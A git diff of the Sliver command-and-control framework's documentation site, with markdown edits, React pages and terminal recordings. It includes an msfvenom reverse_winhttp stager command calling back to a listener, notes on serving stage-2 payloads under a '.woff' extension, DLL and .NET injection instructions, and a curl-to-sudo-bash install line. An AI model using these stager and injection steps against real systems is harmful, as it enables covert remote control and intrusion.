@@ -83,9 +83,9 @@ msfvenom -p windows/x64/custom/reverse_winhttp LHOST=192.168.122.1 LPORT=1234 LU
## Custom Stagers
-One thing to consider while writing or using a custom stager, especially for the HTTP protocol, is that the Sliver server will only serve stage 2 payloads on specifically defined URLs. Indeed, since the HTTP staging listener is reusing the regular HTTP listener, it follows the same [procedural HTTP protocol]().
+One thing to consider while writing or using a custom stager, especially for the HTTP protocol, is that the Sliver server will only serve stage 2 payloads on specifically defined URLs. Indeed, since the HTTP staging listener is reusing the regular HTTP listener, it follows the same [procedural HTTP protocol](/docs?name=HTTPS+C2).
-The default file extension used to retrieve a stage 2 payload is `.woff`. It can be configured in the [HTTP C2 options]() using the `stager_file_ext` setting.
+The default file extension used to retrieve a stage 2 payload is `.woff`. It can be configured in the [HTTP C2 options](/docs?name=HTTPS+C2) using the `stager_file_ext` setting.
As a result, if you want to implement your own stager to fetch a stage 2 payload via HTTP, you need to query a URL that looks like this: `http://SLIVER-SERVER:STAGING-PORT/whatever.woff`.
diff --git a/docs/sliver-docs/pages/docs/md/Third Party Tools.md b/docs/sliver-docs/pages/docs/md/Third Party Tools.md
index a8b94fdf35..2ea8f81813 100644
--- a/docs/sliver-docs/pages/docs/md/Third Party Tools.md
+++ b/docs/sliver-docs/pages/docs/md/Third Party Tools.md
@@ -1,4 +1,4 @@
-# Sideloading features
+## Sideloading Features
Sliver implants support three different ways of loading third party tools:
@@ -6,11 +6,11 @@ Sliver implants support three different ways of loading third party tools:
- `sideload`
- `spawndll`
-## Known limitations
+## Known Limitations
Arguments passed to .NET assemblies and non-reflective PE extensions are limited to 256 characters. This is due to a limitation in the Donut loader Sliver is using. A workaround for .NET assemblies is to execute them in-process, using the `--in-process` flag, or a custom BOF extension like `inline-execute-assembly`. There is currently no workaround for non-reflective PE extension.
-## .NET assemblies loading
+## Loading .NET Assemblies
This feature is only supported on Windows.
@@ -59,7 +59,7 @@ sliver (CONCRETE_STEEL) > execute-assembly -t 80 /tmp/Seatbelt.exe All
...
```
-## Shared libraries side loading
+## Shared Library Side Loading
The `sideload` command allows to load and run code in-memory (Windows/Linux) or via dropping a temporary file to disk (MacOS). On Windows, the DLL will be converted to a shellcode via [sRDI](https://github.com/monoxgas/sRDI) and injected into a sacrificial process.
@@ -120,7 +120,7 @@ sliver (CONCRETE_STEEL) > sideload -p /Applications/Safari.app/Contents/MacOS/Sa
Please be aware that you need to specify the entrypoint to execute for Windows DLLs.
-## Loading reflective DLLs
+## Loading Reflective DLLs
Loading reflective DLLs is just a special case of side loading DLLs. To make things easier, the `spawndll` command allows you to inject reflective DLLs and run them in a remote process.
diff --git a/docs/sliver-docs/pages/docs/md/Troubleshooting.md b/docs/sliver-docs/pages/docs/md/Troubleshooting.md
index c325531b91..283e24b476 100644
--- a/docs/sliver-docs/pages/docs/md/Troubleshooting.md
+++ b/docs/sliver-docs/pages/docs/md/Troubleshooting.md
@@ -1,5 +1,3 @@
-## Server/Client Troubleshooting
-
### Server logs
Server related logs are saved to: `~/.sliver/logs/`
@@ -9,7 +7,7 @@ Server related logs are saved to: `~/.sliver/logs/`
- `sliver.json` JSON formatted log (includes timestamps)
- `audit.json` a JSON formatted history of commands/activity
-The default log level for the server is `INFO` when troubleshooting it may be helpful to increase this to `DEBUG` (5), which can be done by editing the [server configuration file](https://github.com/BishopFox/sliver/wiki/Configuration-Files)
+The default log level for the server is `INFO` when troubleshooting it may be helpful to increase this to `DEBUG` (5), which can be done by editing the [server configuration file](/docs?name=Configuration+Files)
### Client logs
diff --git a/docs/sliver-docs/pages/index.tsx b/docs/sliver-docs/pages/index.tsx
index 0cb05d869d..f1983b6dc3 100644
--- a/docs/sliver-docs/pages/index.tsx
+++ b/docs/sliver-docs/pages/index.tsx
@@ -1,8 +1,13 @@
import AsciinemaPlayer from "@/components/asciinema";
+import { SliversIcon } from "@/components/icons/slivers";
+import TutorialCard from "@/components/tutorial-card";
import { Themes } from "@/util/themes";
import { Card, CardBody, CardHeader, Divider } from "@nextui-org/react";
+import { useRouter } from "next/router";
export default function Home() {
+ const router = useRouter();
+
function getThemeState(): Themes {
if (typeof window !== "undefined") {
const loadedTheme = localStorage.getItem("theme");
@@ -20,7 +25,7 @@ export default function Home() {
src="/asciinema/intro.cast"
rows="18"
cols="75"
- idleTimeLimit={2}
+ idleTimeLimit={60}
preload={true}
autoPlay={true}
loop={true}
@@ -29,36 +34,70 @@ export default function Home() {
- Sliver Command & Control
+
+
+ Sliver Command & Control
+
- Sliver is a Command and Control (C2) system made for penetration
- testers, red teams, and blue teams. It generates implants that can
- run on virtually every architecture out there, and securely manage
- these connections through a central server. Sliver supports
- multiple callback protocols including DNS, Mutual TLS (mTLS),
- WireGuard, and HTTP(S) to make egress simple, even when those
- pesky blue teams block your domains. You can even have multiple
- operators (players) simultaneously commanding your sliver army.
+ Sliver is a powerful command and control (C2) framework designed
+ to provide advanced capabilities for covertly managing and
+ controlling remote systems. With Sliver, security professionals,
+ red teams, and penetration testers can easily establish a secure
+ and reliable communication channel over Mutual TLS, HTTP(S), DNS,
+ or Wireguard with target machines. Enabling them to execute
+ commands, gather information, and perform various
+ post-exploitation activities. The framework offers a user-friendly
+ console interface, extensive functionality, and support for
+ multiple operating systems as well as multiple CPU architectures,
+ making it an indispensable tool for conducting comprehensive
+ offensive security operations.
- {/*
-
+
+
-
*/}
+
+
+
+
+
+
+ {
+ router.push({
+ pathname: "/docs",
+ query: { name: "Getting Started" },
+ });
+ }}
+ />
+
+
+
+
+
+
);
}
diff --git a/docs/sliver-docs/pages/search/index.tsx b/docs/sliver-docs/pages/search/index.tsx
new file mode 100644
index 0000000000..a53800dffe
--- /dev/null
+++ b/docs/sliver-docs/pages/search/index.tsx
@@ -0,0 +1,71 @@
+import MarkdownViewer from "@/components/markdown";
+import { useSearchContext } from "@/util/search-context";
+import { faChevronCircleRight } from "@fortawesome/free-solid-svg-icons";
+import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
+import { Button, Card, CardBody, Divider } from "@nextui-org/react";
+import { NextPage } from "next";
+import { useSearchParams } from "next/navigation";
+import { useRouter } from "next/router";
+import React from "react";
+
+export type SearchPageProps = {};
+
+const SearchPage: NextPage = (props: SearchPageProps) => {
+ const router = useRouter();
+ const search = useSearchContext();
+ const query = useSearchParams().get("search");
+
+ const searchResults = React.useMemo(() => {
+ if (query) {
+ return search.searchDocs(query);
+ }
+ return [];
+ }, [query, search]);
+
+ return (
+
+
+
+
+ Search: "{query?.slice(0, 50)}"
+
+ {searchResults.length} Results
+
+
+
+ {searchResults.map((doc) => (
+
+
+
+
{doc.name}
+
+
{
+ router.push(`/docs?name=${doc.name}`);
+ }}
+ >
+ Full Doc
+
+
+
+
+
+
+
+
+
+
+
+ ))}
+
+
+
+
+
+ );
+};
+
+export default SearchPage;
diff --git a/docs/sliver-docs/public/asciinema/install-1.cast b/docs/sliver-docs/public/asciinema/install-1.cast
new file mode 100644
index 0000000000..1953b041f0
--- /dev/null
+++ b/docs/sliver-docs/public/asciinema/install-1.cast
@@ -0,0 +1,185 @@
+{"version": 2, "width": 137, "height": 38, "timestamp": 1702828910, "env": {"SHELL": "/bin/zsh", "TERM": "xterm-256color"}}
+[0.084701, "o", " \r\r"]
+[0.134782, "o", "\r\u001b[0m\u001b[27m\u001b[24m\u001b[J\u001b[32m┌──(\u001b[1m\u001b[32m\u001b[34mkali㉿kali\u001b[0m\u001b[34m\u001b[32m)-[\u001b[1m\u001b[32m\u001b[39m~\u001b[0m\u001b[32m]\r\n└─\u001b[1m\u001b[32m\u001b[34m$\u001b[0m\u001b[34m\u001b[39m \u001b[K"]
+[0.135514, "o", "\u001b[?1h\u001b="]
+[0.136369, "o", "\u001b[?2004h"]
+[1.996324, "o", "\u001b[7m\u001b[36mcurl\u001b[39m\u001b[7m https://sliver.sh/install\u001b[1m\u001b[7m\u001b[34m|\u001b[0m\u001b[39m\u001b[7m\u001b[4m\u001b[32msudo\u001b[24m\u001b[39m\u001b[7m \u001b[7m\u001b[36mbash\u001b[27m\u001b[39m"]
+[2.447142, "o", "\u001b[40D\u001b[27m\u001b[36mc\u001b[27m\u001b[36mu\u001b[27m\u001b[36mr\u001b[27m\u001b[36ml\u001b[39m\u001b[27m \u001b[27mh\u001b[27mt\u001b[27mt\u001b[27mp\u001b[27ms\u001b[27m:\u001b[27m/\u001b[27m/\u001b[27ms\u001b[27ml\u001b[27mi\u001b[27mv\u001b[27me\u001b[27mr\u001b[27m.\u001b[27ms\u001b[27mh\u001b[27m/\u001b[27mi\u001b[27mn\u001b[27ms\u001b[27mt\u001b[27ma\u001b[27ml\u001b[27ml\u001b[27m\u001b[1m\u001b[34m|\u001b[0m\u001b[39m\u001b[27m\u001b[4m\u001b[32ms\u001b[27m\u001b[4m\u001b[32mu\u001b[27m\u001b[4m\u001b[32md\u001b[27m\u001b[4m\u001b[32mo\u001b[24m\u001b[39m\u001b[27m \u001b[27m\u001b[36mb\u001b[27m\u001b[36ma\u001b[27m\u001b[36ms\u001b[27m\u001b[36mh\u001b[39m "]
+[3.088328, "o", "\u001b[?1l\u001b>"]
+[3.095109, "o", "\u001b[?2004l\r\r\n"]
+[3.138939, "o", " % Total % "]
+[3.140482, "o", "Received % Xferd Average Speed Time T"]
+[3.140953, "o", "ime Time Current\r\n Dload Upload Total Spent Left Speed\r\n\r 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0"]
+[3.348678, "o", "\r"]
+[3.349121, "o", "1"]
+[3.349507, "o", "0"]
+[3.34984, "o", "0"]
+[3.350208, "o", " "]
+[3.350435, "o", " "]
+[3.35053, "o", "Installing dependencies using apt..."]
+[3.350951, "o", "\r\r\n7420 10"]
+[3.351661, "o", "0 742"]
+[3.352273, "o", "0 0 0 35364 0 --:--:-- --:--:-- --:--:-- 35502\r\n"]
+[9.95185, "o", "Selecting previously unselected package binutils-mingw-w64.\r"]
+[9.952373, "o", "\r\r\n(Reading database ... \r"]
+[9.971594, "o", "(Reading database ... 5%\r(Reading database ... 10%\r"]
+[9.972513, "o", "(Reading database ... 15%\r(Reading database ... 20%\r(Reading database ... 25%\r(Reading database ... 30%\r(Reading database ... 35%\r(Reading database ... 40%\r(Reading database ... 45%\r(Reading database ... 50%\r"]
+[9.978663, "o", "(Reading database ... 55%\r"]
+[9.995169, "o", "(Reading database ... 60%\r"]
+[10.004957, "o", "(Reading database ... 65%\r"]
+[10.018783, "o", "(Reading database ... 70%\r"]
+[10.03848, "o", "(Reading database ... 75%\r"]
+[10.056054, "o", "(Reading database ... 80%\r"]
+[10.071003, "o", "(Reading database ... 85%\r"]
+[10.084401, "o", "(Reading database ... 90%\r"]
+[10.12239, "o", "(Reading database ... 95%\r"]
+[10.173737, "o", "(Reading database ... 100%\r(Reading database ... 313406 files and directories currently installed.)\r\r\r\n"]
+[10.189446, "o", "Preparing to unpack .../00-binutils-mingw-w64_2.41-4+11+nmu1_all.deb ...\r\r\r\n"]
+[10.193803, "o", "Unpacking binutils-mingw-w64 (2.41-4+11+nmu1) ...\r\r\r\n"]
+[10.269046, "o", "Selecting previously unselected package gcc-mingw-w64-i686-posix-runtime.\r\r"]
+[10.269564, "o", "\r\n"]
+[10.308134, "o", "Preparing to unpack .../01-gcc-mingw-w64-i686-posix-runtime_12.2.0-14+25.2_amd64.deb ...\r"]
+[10.308482, "o", "\r\r\n"]
+[10.312389, "o", "Unpacking gcc-mingw-w64-i686-posix-runtime (12.2.0-14+25.2) ...\r\r\r\n"]
+[11.4202, "o", "Selecting previously unselected package gcc-mingw-w64-i686-posix.\r\r\r\n"]
+[11.455985, "o", "Preparing to unpack .../02-gcc-mingw-w64-i686-posix_12.2.0-14+25.2_amd64.deb ...\r\r\r\n"]
+[11.460478, "o", "Unpacking gcc-mingw-w64-i686-posix (12.2.0-14+25.2) ...\r\r\r\n"]
+[14.104305, "o", "Selecting previously unselected package g++-mingw-w64-i686-posix.\r\r\r\n"]
+[14.141357, "o", "Preparing to unpack .../03-g++-mingw-w64-i686-posix_12.2.0-14+25.2_amd64.deb ...\r\r\r\n"]
+[14.146621, "o", "Unpacking g++-mingw-w64-i686-posix (12.2.0-14+25.2) ...\r\r\r\n"]
+[15.731417, "o", "Selecting previously unselected package g++-mingw-w64-i686-win32.\r"]
+[15.731829, "o", "\r\r\n"]
+[15.768219, "o", "Preparing to unpack .../04-g++-mingw-w64-i686-win32_12.2.0-14+25.2_amd64.deb ...\r\r\r\n"]
+[15.772983, "o", "Unpacking g++-mingw-w64-i686-win32 (12.2.0-14+25.2) ...\r\r\r\n"]
+[17.37459, "o", "Selecting previously unselected package g++-mingw-w64-i686.\r\r"]
+[17.374696, "o", "\r\n"]
+[17.411973, "o", "Preparing to unpack .../05-g++-mingw-w64-i686_12.2.0-14+25.2_all.deb ...\r\r\r\n"]
+[17.426232, "o", "Unpacking g++-mingw-w64-i686 (12.2.0-14+25.2) ...\r"]
+[17.426332, "o", "\r\r\n"]
+[17.503886, "o", "Selecting previously unselected package gcc-mingw-w64-x86-64-posix-runtime.\r\r"]
+[17.504212, "o", "\r\n"]
+[17.541562, "o", "Preparing to unpack .../06-gcc-mingw-w64-x86-64-posix-runtime_12.2.0-14+25.2_amd64.deb ...\r\r\r\n"]
+[17.546412, "o", "Unpacking gcc-mingw-w64-x86-64-posix-runtime (12.2.0-14+25.2) ...\r\r\r\n"]
+[18.714872, "o", "Selecting previously unselected package gcc-mingw-w64-x86-64-posix.\r"]
+[18.715259, "o", "\r\r\n"]
+[18.751957, "o", "Preparing to unpack .../07-gcc-mingw-w64-x86-64-posix_12.2.0-14+25.2_amd64.deb ...\r\r\r\n"]
+[18.756477, "o", "Unpacking gcc-mingw-w64-x86-64-posix (12.2.0-14+25.2) ...\r\r\r\n"]
+[21.433457, "o", "Selecting previously unselected package g++-mingw-w64-x86-64-posix.\r"]
+[21.434029, "o", "\r\r\n"]
+[21.469656, "o", "Preparing to unpack .../08-g++-mingw-w64-x86-64-posix_12.2.0-14+25.2_amd64.deb ...\r\r\r\n"]
+[21.473949, "o", "Unpacking g++-mingw-w64-x86-64-posix (12.2.0-14+25.2) ...\r\r\r\n"]
+[23.071383, "o", "Selecting previously unselected package g++-mingw-w64-x86-64-win32.\r"]
+[23.071919, "o", "\r\r\n"]
+[23.109876, "o", "Preparing to unpack .../09-g++-mingw-w64-x86-64-win32_12.2.0-14+25.2_amd64.deb ...\r\r\r\n"]
+[23.114113, "o", "Unpacking g++-mingw-w64-x86-64-win32 (12.2.0-14+25.2) ...\r\r\r\n"]
+[24.915719, "o", "Selecting previously unselected package g++-mingw-w64-x86-64.\r"]
+[24.916042, "o", "\r\r\n"]
+[24.954255, "o", "Preparing to unpack .../10-g++-mingw-w64-x86-64_12.2.0-14+25.2_all.deb ...\r\r\r\n"]
+[24.968491, "o", "Unpacking g++-mingw-w64-x86-64 (12.2.0-14+25.2) ...\r"]
+[24.968909, "o", "\r\r\n"]
+[25.069388, "o", "Selecting previously unselected package g++-mingw-w64.\r\r"]
+[25.070115, "o", "\r\n"]
+[25.111677, "o", "Preparing to unpack .../11-g++-mingw-w64_12.2.0-14+25.2_all.deb ...\r\r\r\n"]
+[25.126555, "o", "Unpacking g++-mingw-w64 (12.2.0-14+25.2) ...\r\r"]
+[25.126669, "o", "\r\n"]
+[25.216987, "o", "Selecting previously unselected package gcc-mingw-w64-i686.\r\r"]
+[25.217088, "o", "\r\n"]
+[25.255678, "o", "Preparing to unpack .../12-gcc-mingw-w64-i686_12.2.0-14+25.2_all.deb ...\r\r\r\n"]
+[25.270793, "o", "Unpacking gcc-mingw-w64-i686 (12.2.0-14+25.2) ...\r\r"]
+[25.270892, "o", "\r\n"]
+[25.365118, "o", "Selecting previously unselected package gcc-mingw-w64-x86-64.\r"]
+[25.365778, "o", "\r\r\n"]
+[25.4112, "o", "Preparing to unpack .../13-gcc-mingw-w64-x86-64_12.2.0-14+25.2_all.deb ...\r\r\r\n"]
+[25.432324, "o", "Unpacking gcc-mingw-w64-x86-64 (12.2.0-14+25.2) ...\r\r\r\n"]
+[25.53257, "o", "Selecting previously unselected package gcc-mingw-w64.\r"]
+[25.533103, "o", "\r\r\n"]
+[25.571001, "o", "Preparing to unpack .../14-gcc-mingw-w64_12.2.0-14+25.2_all.deb ...\r\r\r\n"]
+[25.587241, "o", "Unpacking gcc-mingw-w64 (12.2.0-14+25.2) ...\r\r\r\n"]
+[25.679011, "o", "Selecting previously unselected package mingw-w64.\r\r\r\n"]
+[25.722919, "o", "Preparing to unpack .../15-mingw-w64_11.0.1-3_all.deb ...\r\r\r\n"]
+[25.728104, "o", "Unpacking mingw-w64 (11.0.1-3) ...\r\r\r\n"]
+[25.902193, "o", "Setting up g++-mingw-w64-i686-win32 (12.2.0-14+25.2) ...\r\r\r\n"]
+[26.005609, "o", "update-alternatives: using /usr/bin/i686-w64-mingw32-g++-win32 to provide /usr/bin/i686-w64-mingw32-g++ (i686-w64-mingw32-g++) in auto mode\r\r\r\n"]
+[26.017091, "o", "Setting up g++-mingw-w64-x86-64-win32 (12.2.0-14+25.2) ...\r\r"]
+[26.017273, "o", "\r\n"]
+[26.040122, "o", "update-alternatives: using /usr/bin/x86_64-w64-mingw32-g++-win32 to provide /usr/bin/x86_64-w64-mingw32-g++ (x86_64-w64-mingw32-g++) in auto mode\r\r\r\n"]
+[26.049058, "o", "Setting up gcc-mingw-w64-x86-64-posix-runtime (12.2.0-14+25.2) ...\r"]
+[26.049155, "o", "\r\r\n"]
+[26.062459, "o", "Setting up gcc-mingw-w64-x86-64-posix (12.2.0-14+25.2) ...\r\r\r\n"]
+[26.087899, "o", "Setting up gcc-mingw-w64-i686-posix-runtime (12.2.0-14+25.2) ...\r"]
+[26.087992, "o", "\r"]
+[26.089821, "o", "\r\n"]
+[26.103367, "o", "Setting up gcc-mingw-w64-x86-64 (12.2.0-14+25.2) ...\r\r\r\n"]
+[26.122926, "o", "Setting up binutils-mingw-w64 (2.41-4+11+nmu1) ...\r\r\r\n"]
+[26.135388, "o", "Setting up gcc-mingw-w64-i686-posix (12.2.0-14+25.2) ...\r\r\r\n"]
+[26.16056, "o", "Setting up g++-mingw-w64-x86-64-posix (12.2.0-14+25.2) ...\r"]
+[26.160655, "o", "\r\r\n"]
+[26.185839, "o", "Setting up gcc-mingw-w64-i686 (12.2.0-14+25.2) ...\r\r\r\n"]
+[26.205943, "o", "Setting up g++-mingw-w64-x86-64 (12.2.0-14+25.2) ...\r"]
+[26.206287, "o", "\r\r\n"]
+[26.226095, "o", "Setting up gcc-mingw-w64 (12.2.0-14+25.2) ...\r\r\r\n"]
+[26.245408, "o", "Setting up g++-mingw-w64-i686-posix (12.2.0-14+25.2) ...\r\r\r\n"]
+[26.282804, "o", "Setting up g++-mingw-w64-i686 (12.2.0-14+25.2) ...\r"]
+[26.28308, "o", "\r\r\n"]
+[26.302298, "o", "Setting up g++-mingw-w64 (12.2.0-14+25.2) ...\r"]
+[26.30253, "o", "\r\r\n"]
+[26.321881, "o", "Setting up mingw-w64 (11.0.1-3) ...\r"]
+[26.322234, "o", "\r\r\n"]
+[26.542589, "o", "Running from /root\r"]
+[26.54269, "o", "\r\nImporting GPG key...\r\r\n"]
+[26.558262, "o", "gpg: directory '/root/.gnupg' created\r\r\n"]
+[26.55918, "o", "gpg: keybox '/root/.gnupg/pubring.kbx' created\r\r\n"]
+[26.564249, "o", "gpg: /root/.gnupg/trustdb.gpg: trustdb created\r"]
+[26.564907, "o", "\r\n"]
+[26.565004, "o", "gpg: key 7DF912404449039C: public key \"Sliver \" imported\r\r\n"]
+[26.584997, "o", "gpg: Total number processed: 1\r\r\ngpg: imported: 1\r\r\n"]
+[26.586357, "o", "Fetching latest Sliver release URLs...\r"]
+[26.586453, "o", "\r\n"]
+[26.844076, "o", "Downloading https://github.com/BishopFox/sliver/releases/download/v1.5.41/sliver-client_linux\r"]
+[26.844639, "o", "\r\n"]
+[27.564024, "o", "Downloading https://github.com/BishopFox/sliver/releases/download/v1.5.41/sliver-client_linux.sig\r\r\n"]
+[28.06082, "o", "Downloading https://github.com/BishopFox/sliver/releases/download/v1.5.41/sliver-server_linux\r"]
+[28.061261, "o", "\r\n"]
+[29.324939, "o", "Downloading https://github.com/BishopFox/sliver/releases/download/v1.5.41/sliver-server_linux.sig\r\r\n"]
+[29.764868, "o", "Verifying signatures ...\r\r\n"]
+[31.017103, "o", "gpg: Signature made Tue Jul 11 21:41:18 2023 UTC\r"]
+[31.017879, "o", "\r\ngpg: using RSA key 0ED3900D296CFA0283A4E4667DF912404449039C\r\r\ngpg: Good signature from \"Sliver \" [unknown]\r\r\ngpg: WARNING: This key is not certified with a trusted signature!\r\r\ngpg: There is no indication that the signature belongs to the owner.\r\r\n"]
+[31.018347, "o", "Primary key fingerprint: 0ED3 900D 296C FA02 83A4 E466 7DF9 1240 4449 039C\r\r\n"]
+[31.293632, "o", "gpg: Signature made Tue Jul 11 21:41:18 2023 UTC\r"]
+[31.294345, "o", "\r\ngpg: using RSA key 0ED3900D296CFA0283A4E4667DF912404449039C\r\r\ngpg: Good signature from \"Sliver \" [unknown]\r\r\ngpg: WARNING: This key is not certified with a trusted signature!\r\r\ngpg: There is no indication that the signature belongs to the owner.\r\r\nPrimary key fingerprint: 0ED3 900D 296C FA02 83A4 E466 7DF9 1240 4449 039C\r\r\n"]
+[31.295425, "o", "Moving the Sliver server executable to /root/sliver-server...\r\r\n"]
+[31.298457, "o", "Setting permissions for the Sliver server executable...\r"]
+[31.298717, "o", "\r\n"]
+[31.300852, "o", "Unpacking the Sliver server...\r"]
+[31.30108, "o", "\r\n"]
+[31.450868, "o", "\r"]
+[31.451189, "o", "\r\nSliver Copyright (C) 2022 Bishop Fox\r\r\nThis program comes with ABSOLUTELY NO WARRANTY; for details type 'licenses'.\r\r\nThis is free software, and you are welcome to redistribute it\r\r\nunder certain conditions; type 'licenses' for details.\r\r\n\r\r\nUnpacking assets ...\r\r\n"]
+[35.564985, "o", "Setting permissions for the Sliver client executable...\r\r\n"]
+[35.567358, "o", "Copying the Sliver client executable to /usr/local/bin/sliver-client...\r\r\n"]
+[35.570389, "o", "'/root/sliver-client_linux' -> '/usr/local/bin/sliver-client'"]
+[35.570712, "o", "\r\r\n"]
+[35.651173, "o", "Creating a symbolic link for sliver-client at /usr/local/bin/sliver...\r\r\n"]
+[35.655603, "o", "Setting permissions for the symbolic link /usr/local/bin/sliver...\r\r\n"]
+[35.65606, "o", "Configuring systemd service ...\r\r\n"]
+[35.66269, "o", "Starting the Sliver service...\r\r\n"]
+[35.706928, "o", "Generating local configs ...\r"]
+[35.707266, "o", "\r\nGenerating operator configs ...\r\r\n"]
+[36.088212, "o", "Generating operator configs for user kali...\r"]
+[36.088987, "o", "\r\n"]
+[36.19216, "o", " \r\r"]
+[36.234115, "o", "\r\u001b[0m\u001b[27m\u001b[24m\u001b[J\u001b[32m┌──(\u001b[1m\u001b[32m\u001b[34mkali㉿kali\u001b[0m\u001b[34m\u001b[32m)-[\u001b[1m\u001b[32m\u001b[39m~\u001b[0m\u001b[32m]\r\n└─\u001b[1m\u001b[32m\u001b[34m$\u001b[0m\u001b[34m\u001b[39m \u001b[K"]
+[36.234287, "o", "\u001b[?1h\u001b="]
+[36.235669, "o", "\u001b[?2004h"]
+[37.91677, "o", "\u001b[4m\u001b[37ms\u001b[24m\u001b[39m"]
+[38.060827, "o", "\b\u001b[4m\u001b[37ms\u001b[4m\u001b[37ml\u001b[24m\u001b[39m"]
+[38.172203, "o", "\b\b\u001b[4m\u001b[37ms\u001b[4m\u001b[37ml\u001b[4m\u001b[37mi\u001b[24m\u001b[39m"]
+[38.298728, "o", "\b\u001b[4m\u001b[37mi\u001b[4m\u001b[37mv\u001b[24m\u001b[39m"]
+[38.476402, "o", "\b\u001b[4m\u001b[37mv\u001b[4m\u001b[37me\u001b[24m\u001b[39m"]
+[38.545985, "o", "\b\b\b\b\b\u001b[24m\u001b[36ms\u001b[24m\u001b[36ml\u001b[24m\u001b[36mi\u001b[24m\u001b[36mv\u001b[24m\u001b[36me\u001b[36mr\u001b[39m"]
+[39.070667, "o", "\u001b[?1l\u001b>"]
+[39.073138, "o", "\u001b[?2004l\r\r\n"]
+[39.226719, "o", "Connecting to localhost:31337 ...\r\n"]
+[39.280105, "o", "\u001b[m"]
+[39.285034, "o", "\u001b[1m\u001b[37m\r\n.------..------..------..------..------..------.\r\n|S.--. ||L.--. ||I.--. ||V.--. ||E.--. ||R.--. |\r\n| :/\\: || :/\\: || (\\/) || :(): || (\\/) || :(): |\r\n| :\\/: || (__) || :\\/: || ()() || :\\/: || ()() |\r\n| '--'S|| '--'L|| '--'I|| '--'V|| '--'E|| '--'R|\r\n`------'`------'`------'`------'`------'`------'\r\n\u001b[0m\r\nAll hackers gain reinforce\r\n\u001b[1m\u001b[36m[*] \u001b[0mServer v1.5.41 - f2a3915c79b31ab31c0c2f0428bbd53d9e93c54b\r\n\u001b[1m\u001b[36m[*] \u001b[0mWelcome to the sliver shell, please type 'help' for options\r\n\r\n"]
+[39.285661, "o", "\u001b[1m\u001b[36m[*] \u001b[0mCheck for updates with the 'update' command\r\n\r\n\u001b[0m\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0m \b"]
+[44.544399, "o", "\u001b[?2004l\r\r\n"]
diff --git a/docs/sliver-docs/public/asciinema/intro.cast b/docs/sliver-docs/public/asciinema/intro.cast
index b8174c0250..30af6710ec 100644
--- a/docs/sliver-docs/public/asciinema/intro.cast
+++ b/docs/sliver-docs/public/asciinema/intro.cast
@@ -20,5 +20,5 @@
[3.122345, "o", "\u001b[m"]
[3.12272, "o", "\u001b[31m\r\n \t ██████ ██▓ ██▓ ██▒ █▓▓█████ ██▀███\r\n\t▒██ ▒ ▓██▒ ▓██▒▓██░ █▒▓█ ▀ ▓██ ▒ ██▒\r\n\t░ ▓██▄ ▒██░ ▒██▒ ▓██ █▒░▒███ ▓██ ░▄█ ▒\r\n\t ▒ ██▒▒██░ ░██░ ▒██ █░░▒▓█ ▄ ▒██▀▀█▄\r\n\t▒██████▒▒░██████▒░██░ ▒▀█░ ░▒████▒░██▓ ▒██▒\r\n\t▒ ▒▓▒ ▒ ░░ ▒░▓ ░░▓ ░ ▐░ ░░ ▒░ ░░ ▒▓ ░▒▓░\r\n\t░ ░▒ ░ ░░ ░ ▒ ░ ▒ ░ ░ ░░ ░ ░ ░ ░▒ ░ ▒░\r\n\t░ ░ ░ ░ ░ ▒ ░ ░░ ░ ░░ ░\r\n\t\t ░ ░ ░ ░ ░ ░ ░ ░\r\n"]
[3.124753, "o", "\u001b[0m\r\nAll hackers gain jump-start\r\n\u001b[1m\u001b[36m[*] \u001b[0mServer v1.5.41 - f2a3915c79b31ab31c0c2f0428bbd53d9e93c54b\r\n\u001b[1m\u001b[36m[*] \u001b[0mWelcome to the sliver shell, please type 'help' for options\r\n\r\n\u001b[0m\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[1m[server] \u001b[0m\u001b[4msliver\u001b[0m > \u001b[0m \b"]
-[5.29313, "o", "\u001b[J\u001b[2K\r"]
+[60.29313, "o", "\u001b[J\u001b[2K\r"]
diff --git a/docs/sliver-docs/public/asciinema/service-status-1.cast b/docs/sliver-docs/public/asciinema/service-status-1.cast
new file mode 100644
index 0000000000..9be700924f
--- /dev/null
+++ b/docs/sliver-docs/public/asciinema/service-status-1.cast
@@ -0,0 +1,36 @@
+{"version": 2, "width": 137, "height": 38, "timestamp": 1702829213, "env": {"SHELL": "/bin/zsh", "TERM": "xterm-256color"}}
+[0.086575, "o", " \r\r"]
+[0.139221, "o", "\r\u001b[0m\u001b[27m\u001b[24m\u001b[J\u001b[32m┌──(\u001b[1m\u001b[32m\u001b[34mkali㉿kali\u001b[0m\u001b[34m\u001b[32m)-[\u001b[1m\u001b[32m\u001b[39m~\u001b[0m\u001b[32m]\r\n└─\u001b[1m\u001b[32m\u001b[34m$\u001b[0m\u001b[34m\u001b[39m \u001b[K"]
+[0.139878, "o", "\u001b[?1h\u001b="]
+[0.140711, "o", "\u001b[?2004h"]
+[1.228241, "o", "\u001b[1ms\u001b[0m"]
+[1.229112, "o", "\b\u001b[1ms\u001b[0m\u001b[38;2;153;153;153mliver\u001b[39m\b\b\b\b\b"]
+[1.485473, "o", "\b\u001b[0m\u001b[4m\u001b[37ms\u001b[4m\u001b[37my\u001b[24m\u001b[39m\u001b[39m \u001b[39m \u001b[39m \u001b[39m \b\b\b\b"]
+[1.602104, "o", "\b\b\u001b[4m\u001b[37ms\u001b[4m\u001b[37my\u001b[4m\u001b[37ms\u001b[24m\u001b[39m"]
+[1.692461, "o", "\b\u001b[4m\u001b[37ms\u001b[4m\u001b[37mt\u001b[24m\u001b[39m"]
+[1.82293, "o", "\b\u001b[4m\u001b[37mt\u001b[4m\u001b[37me\u001b[24m\u001b[39m"]
+[1.952538, "o", "\b\u001b[4m\u001b[37me\u001b[4m\u001b[37mm\u001b[24m\u001b[39m"]
+[2.224932, "o", "\b\u001b[4m\u001b[37mm\u001b[4m\u001b[37mc\u001b[24m\u001b[39m"]
+[2.479643, "o", "\b\u001b[4m\u001b[37mc\u001b[4m\u001b[37mt\u001b[24m\u001b[39m"]
+[2.609046, "o", "\u001b[8D\u001b[24m\u001b[36ms\u001b[24m\u001b[36my\u001b[24m\u001b[36ms\u001b[24m\u001b[36mt\u001b[24m\u001b[36me\u001b[24m\u001b[36mm\u001b[24m\u001b[36mc\u001b[24m\u001b[36mt\u001b[36ml\u001b[39m"]
+[2.8689, "o", " "]
+[3.562389, "o", "\u001b[1ms\u001b[0m"]
+[3.646269, "o", "\b\u001b[0mst"]
